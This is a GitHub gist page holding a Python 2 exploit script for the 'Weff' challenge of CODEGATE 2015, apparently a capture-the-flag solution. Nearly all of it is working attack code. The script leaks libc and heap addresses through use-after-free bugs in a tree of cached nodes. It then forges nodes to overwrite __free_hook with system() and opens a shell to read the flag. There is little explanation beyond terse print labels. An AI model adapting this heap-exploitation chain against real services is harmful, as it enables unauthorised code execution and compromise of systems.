Skip to content

Instantly share code, notes, and snippets.

@potetisensei
Last active August 29, 2015 14:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save potetisensei/585faf74c0ad459eca17 to your computer and use it in GitHub Desktop.
Save potetisensei/585faf74c0ad459eca17 to your computer and use it in GitHub Desktop.
Weff - CODEGATE 2015
import string
from socket import *
from struct import pack, unpack
from commands import getoutput
from time import sleep, time
from sys import argv, exit
def read_noblock(p, n):
p.setblocking(False)
try:
ret = p.recv(n)
except:
ret = ''
p.setblocking(True)
return ret
def read_until(p, string):
s = ""
while 1:
c = p.recv(1)
s += c
if s[-len(string):] == string:
return s
def read_n(p, n, timeout=-1):
s = ""
start = time()
while len(s) < n:
s += read_noblock(p, 1)
if timeout != -1 and time() - start > timeout:
return s
return s
def xor(s1, s2):
ret = ""
for i in xrange(len(s1)):
ret += chr(ord(s1[i]) ^ ord(s2[i%len(s2)]))
return ret
def recv_resp():
global p
header = read_until(p, "\r\n\r\n")
if "Content-Length: " in header:
length = int(header.split("Content-Length: ")[1].split("\n")[0])
return read_n(p, length)
else:
return ""
def hash(s):
ret = 0
for c in s:
ret = 8*ret ^ ord(c)
ret %= 0x100000000
return ret
def create_url(h):
ret = ""
if h == 0:
return "\x01\x08" * 6
while h:
t = h % 8
if t == 0:
t = 8
ret = chr(t) + ret
h ^= t
h /= 8
if len(ret) < 11:
ret = ret.rjust(11, "\x04")
return ret
def wait(m):
start = time()
cnt = start
i = 1
while 1:
t = time()
if t - start > m:
return
if t - start >= i:
print "{}...".format(i)
i += 1
def GET(uri, protocol="http", dic={}, raw=False):
global p
req = "GET {}://localhost/{} HTTP/1.0\n".format(protocol, uri)
for key in dic:
req += "{}: {}\n".format(key, dic[key])
req += "\n"
print "[*] send: {}".format(repr(req))
p.send(req)
if raw:
return p.recv(1024)
return recv_resp()
def overwrite_by_node(overwritten, newhash):
dummy_node = ""
dummy_node += pack("<I", 0xffffffff) #hash
dummy_node += pack("<I", 0xdeadbeef) #data
dummy_node += pack("<I", 0xfeedface) #time
dummy_node += pack("<I", 0xcafebabe) #size
dummy_node += pack("<I", overwritten-5*4) #left
dummy_node += pack("<I", 0x1ee71ee7) #right
return GET(create_url(newhash), dic={"dummy_node": dummy_node, "pad": "a"*23})
p = None
def main():
global p
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 6666))
LIBC_OFF = 0x1a6960
HEAP_OFF = 0x2d90
HOOK_OFF = 0x1a78b8
TABLE_OFF = -1772
SYSTEM_OFF = 0x3e360
print "[*] create root"
GET(create_url(0xffffffff))
print "[*] create children"
GET(create_url(0xfffffffd))
wait(10)
GET(create_url(0xfffffffc))
GET(create_url(0xfffffffe))
wait(21)
"""
ffffffff
/
fffffffd
/ \
fffffffc fffffffe
"""
print "[*] cause node->data UAF"
GET(create_url(0xfffffffd))
"""
ffffffff
/
fffffffe(->data corrupted)
/
fffffffc
\
fffffffd
"""
print "[*] leak"
res = GET(create_url(0xfffffffe), raw=True)
print [res]
libc_base = unpack("<I", res[52:56])[0] - LIBC_OFF
heap_base = unpack("<I", res[72:76])[0] - HEAP_OFF
free_hook = libc_base + HOOK_OFF
system = libc_base + SYSTEM_OFF
print "heap:", hex(heap_base)
print "libc:", hex(libc_base)
print "hook:", hex(free_hook)
print "system:", hex(system)
"""
ffffffff
/
fffffffe(->data corrupted)
/
fffffffc
\
fffffffd
"""
print "[*] cause node UAF"
GET(create_url(0xffffffff), protocol="noop")
"""
ffffffff(freed)
/
fffffffe(->data corrupted)
/ \
fffffffc ffffffff(another one)
\
fffffffd
"""
print "[*] forge free_hook->right"
overwrite_by_node(free_hook+5*4, system)
print "[*] forge free_hook->left"
overwrite_by_node(free_hook+4*4, 0xfee1dead)
print "[*] overwrite free_hook"
dummy_node = ""
dummy_node += pack("<I", 0xffffffff) #hash
dummy_node += pack("<I", 0xdeadbeef) #data
dummy_node += pack("<I", 0xfeedface) #time
dummy_node += pack("<I", 0xcafebabe) #size
dummy_node += pack("<I", free_hook) #left
dummy_node += pack("<I", 0x1ee71ee7) #right
GET(create_url(0), protocol="noop", dic={"dummy_node": dummy_node, "cmd": "sh<&4;"})
p.send("cat flag >&4;\n")
print p.recv(1024)
print p.recv(1024)
print p.recv(1024)
print p.recv(1024)
print p.recv(1024)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment